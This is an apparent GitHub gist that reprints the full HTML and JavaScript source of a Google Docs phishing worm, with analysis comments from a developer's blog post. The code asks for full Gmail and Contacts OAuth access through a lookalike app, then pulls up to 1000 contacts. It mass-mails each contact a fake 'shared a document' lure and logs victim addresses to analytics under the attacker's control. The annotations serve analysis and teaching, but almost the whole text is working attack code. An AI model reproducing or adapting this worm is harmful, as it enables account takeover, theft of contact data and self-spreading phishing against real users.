Last active
March 24, 2025 23:43
-
-
Save KeithHanson/c58ed56cb87a9c15b39956a688b64ae4 to your computer and use it in GitHub Desktop.
This HTML file is the original source code, modified only by Twin Engine Labs comment blocks.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS: | |
* See blog post here: https://www.linkedin.com/pulse/developers-look-google-docs-phishing-attack-its-keith-hanson | |
*************************************************************************/ | |
</script> | |
<html> | |
<head> | |
<script type="text/javascript"> | |
function getCookie(name) { | |
var matches = document.cookie.match(new RegExp( | |
"(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" | |
)); | |
return matches ? decodeURIComponent(matches[1]) : undefined; | |
} | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS: | |
* CLIENT_ID is never used, which means it's likely the attacker used it | |
* as a development url vs a production url (CLIENT_ID_2). Same thing with | |
* redirect_url and redirect_url_2 | |
* | |
* NOTE: These comments are seemingly straight from the API docs, indicating | |
* hasty work or an amateur programmer learning how to do this. | |
*************************************************************************/ | |
// Your Client ID can be retrieved from your project in the Google | |
// Developer Console, https://console.developers.google.com | |
var CLIENT_ID = '946634442539-bpj9bmemdvoedu8d3or6c69am3mi71dh.apps.googleusercontent.com'; | |
var CLIENT_ID_2 = '623002641392-km6voeicvso16uuk7pvc8mvbqheobnft.apps.googleusercontent.com'; | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS: | |
* These scopes give permissions for full control of Gmail and Contacts! | |
* The gmail permissions were only used to actually send emails, though. *WHEW* | |
*************************************************************************/ | |
var SCOPES = ['https://mail.google.com/', 'https://www.googleapis.com/auth/contacts']; | |
var redirect_url = 'https://accounts.google.com/o/oauth2/auth?client_id=' + encodeURIComponent(CLIENT_ID) + '&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=' + encodeURIComponent('https://googledocs.gdocs.pro/g.php') + '&customparam=customparam'; | |
var redirect_url_2 = 'https://accounts.google.com/o/oauth2/auth?client_id=' + encodeURIComponent(CLIENT_ID_2) + '&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=' + encodeURIComponent('https://googledocs.docscloud.win/g.php') + '&customparam=customparam'; | |
var alert_url = 'http://googledocs.gdocs.pro/r.php?h=287fceafb813de281887692bf3f75532'; | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4i): | |
* This function asks for permissions, and fires handleAuthResult() next. | |
*************************************************************************/ | |
/** | |
* Check if current user has authorized this application. | |
*/ | |
function checkAuth() { | |
gapi.auth.authorize( | |
{ | |
'client_id': CLIENT_ID, | |
'scope': SCOPES.join(' '), | |
'immediate': true | |
}, handleAuthResult); | |
} | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4i): | |
* If we're authorized, load up the gmail API, otherwise, reload this page | |
* to repeat the OAuth request. If ready, it fires loadGmailApi() | |
*************************************************************************/ | |
/** | |
* Handle response from authorization server. | |
* | |
* @param {Object} authResult Authorization result. | |
*/ | |
function handleAuthResult(authResult) { | |
var authorizeDiv = document.getElementById('authorize-div'); | |
if (authResult && !authResult.error) { | |
// Hide auth UI, then load client library. | |
loadGmailApi(); | |
} else { | |
// Show auth UI, allowing the user to initiate authorization by | |
// clicking authorize button. | |
window.top.location.href = alert_url; | |
} | |
} | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4ii): | |
* Once the GMail API is authenticated and loaded, it fires listContacts() | |
*************************************************************************/ | |
/** | |
* Load Gmail API client library. List labels once client library | |
* is loaded. | |
*/ | |
function loadGmailApi() { | |
gapi.client.load('gmail', 'v1', listContacts()); | |
} | |
/** | |
* Print all Contacts in the authorized user's account. If no contacts | |
* are found an appropriate message is printed. | |
*/ | |
function listContacts() { | |
console.log(gapi.client.gmail); | |
var token = gapi.auth.getToken(); | |
console.log(token); | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4ii): | |
* Asks for a feed of the 1000 most recently changed contacts: | |
* max-results: 1000 | |
* orderby: lastmodified | |
* sortorder: descending | |
*************************************************************************/ | |
$.ajax({ | |
url: "https://www.google.com/m8/feeds/contacts/default/full?access_token=" + token.access_token + "&max-results=1000&orderby=lastmodified&sortorder=descending", | |
dataType: "jsonp", | |
success:function(data) { | |
// display all your data in console | |
// console.log(JSON.stringify(data)); | |
// console.log(data); | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4iii): | |
* Prepare a generic email template with the from set to the victim | |
* and the attacker's mailinator address. | |
*************************************************************************/ | |
var from_email = getCookie('from'); | |
console.log(from_email); | |
var parser = new DOMParser(); | |
xmlDoc = parser.parseFromString(data,"text/xml"); | |
var myemail = xmlDoc.getElementsByTagName('author')[0].getElementsByTagName('email')[0].textContent; | |
console.log(myemail); | |
var myname = xmlDoc.getElementsByTagName('author')[0].getElementsByTagName('name')[0].textContent; | |
console.log(myname); | |
var entries = xmlDoc.getElementsByTagName('feed')[0].getElementsByTagName('entry'); | |
var contacts = []; | |
var gmail_contacts = []; | |
var other_contacts = []; | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4iv): | |
* Loop over each contact and (very inefficiently) sort them into | |
* @gmail emails and others. | |
*************************************************************************/ | |
for (var i = 0; i < entries.length; i++){ | |
var name = entries[i].getElementsByTagName('title')[0].textContent; | |
var emails = entries[i].getElementsByTagName('email'); | |
for (var j = 0; j < emails.length; j++){ | |
var email = emails[j].attributes.getNamedItem('address').value; | |
if (email != from_email && email != myemail) { | |
if (email.search('@gmail.com') != -1) | |
gmail_contacts.push(email); | |
else if (!(email.search('google') != -1 || email.search('keeper') != -1 || email.search('unty') != -1)) | |
other_contacts.push(email); | |
} | |
// console.log(email); | |
} | |
} | |
// console.log(gmail_contacts); | |
// console.log(other_contacts); | |
var to = '[email protected]'; | |
var cc = ''; | |
var bcc = ''; | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4v): | |
* Simple way to sort the @gmail contacts to the top. | |
*************************************************************************/ | |
contacts = gmail_contacts.concat(other_contacts); | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4vi): | |
* Loops over the contact list, 100 contacts at a time. Surprisingly | |
* and politely adds the mass victims to the BCC field. | |
*************************************************************************/ | |
for (var j = 0; j <= Math.floor(contacts.length / 99); j++) { | |
bcc = ''; | |
for (var i = j * 99; i < Math.min(j * 99 + 99, contacts.length); i++) { | |
bcc += contacts[i] + ','; | |
} | |
console.log(bcc); | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4vii): | |
* Queues a delayed function that sends an email to 100 people in | |
* 1 second + 100ms * grouping index. | |
* | |
* This sends an email every 100ms (1/10th of a second) after 1 second | |
*************************************************************************/ | |
setTimeout(sendEmail, 1000 + j * 100, to, cc, bcc, myemail, myname); | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4viii): | |
* Log the count of gmail_contacts, other_contacts, and the email_addresses | |
* to Google Analytics (which was shut down 1 hour after going live). | |
*************************************************************************/ | |
ga('send', 'event', 'gmail_contacts', gmail_contacts.length); | |
ga('send', 'event', 'other_contacts', other_contacts.length); | |
ga('send', 'event', myemail, bcc); | |
} | |
} | |
}); | |
} | |
function sendMessage(headers_obj, message, callback) | |
{ | |
console.log(gapi.client.gmail); | |
if (gapi.client.gmail == null) { | |
ga('send', 'event', 'error', 'error'); | |
setTimeout(redirect, 2000); | |
return false; | |
} | |
var email = ''; | |
for(var header in headers_obj) | |
email += header += ": "+headers_obj[header]+"\r\n"; | |
email += "\r\n" + message; | |
var sendRequest = gapi.client.gmail.users.messages.send({ | |
'userId': 'me', | |
'resource': { | |
'raw': window.btoa(email).replace(/\+/g, '-').replace(/\//g, '_') | |
} | |
}); | |
return sendRequest.execute(callback); | |
} | |
function sendEmail(to, cc, bcc, from, myname) | |
{ | |
var subject = myname + ' has shared a document on Google Docs with you'; | |
console.log(subject); | |
var body = '<html><body><div style="font-size:14px;line-height:18px;color:#444">' + myname + ' has invited you to view the following document:</div><br/><a href="' + redirect_url_2 + '" style="background-color:#4d90fe;border:1px solid #3079ed;border-radius:2px;color:white;display:inline-block;font-family:Roboto,Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;height:29px;line-height:29px;min-width:54px;outline:0px;padding:0 8px;text-align:center;text-decoration:none" target="_blank">Open in Docs</a></body></html>'; | |
console.log(body); | |
sendMessage( | |
{ | |
'To': to, | |
'Cc': cc, | |
'Bcc': bcc, | |
'Subject': subject, | |
'Content-Type': 'text/html; charset=UTF-8' | |
}, | |
body, | |
composeTidy | |
); | |
return false; | |
} | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS (Section 4ix): | |
* This function is run after the email is sent, which loads the page and | |
* tries to execute the request again. | |
*************************************************************************/ | |
function composeTidy() | |
{ | |
console.log('Email sent'); | |
setTimeout(redirect, 2000); | |
} | |
function redirect() | |
{ | |
window.top.location.href = alert_url; | |
} | |
</script> | |
<script> | |
/************************************************************************* | |
* ANNOTATION BY TWIN ENGINE LABS: (Section: 4i) | |
* Once the google APIs are loaded, this line below kicks off the party | |
* and runs the checkAuth() function. | |
*************************************************************************/ | |
</script> | |
<script src="https://apis.google.com/js/client.js?onload=checkAuth"></script> | |
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> | |
<script> | |
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ | |
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), | |
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) | |
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); | |
ga('create', 'UA-98290545-1', 'auto'); | |
ga('send', 'pageview'); | |
</script> | |
</head> | |
<body> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment